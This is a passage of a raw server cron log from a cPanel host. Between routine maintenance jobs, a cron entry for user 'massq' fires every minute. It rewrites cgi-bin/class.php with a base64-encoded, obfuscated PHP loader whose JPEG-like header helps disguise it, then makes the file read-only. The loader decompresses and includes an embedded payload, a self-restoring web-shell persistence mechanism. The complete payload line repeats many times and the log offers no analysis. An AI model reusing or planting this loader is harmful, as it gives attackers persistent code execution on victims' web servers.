NLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:32:02 server CROND[503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:32:02 server CROND[504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:32:02 server CROND[505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:33:01 server CROND[938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:33:01 server CROND[939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:33:01 server CROND[940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:34:01 server CROND[1416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:34:01 server CROND[1418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:34:01 server CROND[1417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:35:01 server CROND[1894]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:35:01 server CROND[1896]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 06:35:01 server CROND[1897]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 06:35:01 server CROND[1901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:35:01 server CROND[1900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:35:01 server CROND[1898]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 06:35:01 server CROND[1904]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 06:35:01 server CROND[1902]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:35:01 server CROND[1899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:36:01 server CROND[2812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:36:01 server CROND[2813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:36:01 server CROND[2814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:37:01 server CROND[3174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:37:01 server CROND[3175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:37:01 server CROND[3176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:38:01 server CROND[3540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:38:01 server CROND[3541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:38:01 server CROND[3542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:39:01 server CROND[3919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:39:01 server CROND[3920]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 06:39:01 server CROND[3921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:39:01 server CROND[3922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:40:01 server CROND[4454]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:40:01 server CROND[4456]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 06:40:01 server CROND[4455]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 06:40:01 server CROND[4465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:40:01 server CROND[4467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:40:01 server CROND[4464]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 06:40:01 server CROND[4466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:40:01 server CROND[4470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:41:01 server CROND[5318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:41:01 server CROND[5319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:41:01 server CROND[5320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:42:01 server CROND[5698]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 06:42:01 server CROND[5699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:42:01 server CROND[5702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:42:01 server CROND[5700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:43:02 server CROND[6076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:43:02 server CROND[6077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:43:02 server CROND[6078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:44:01 server CROND[6444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
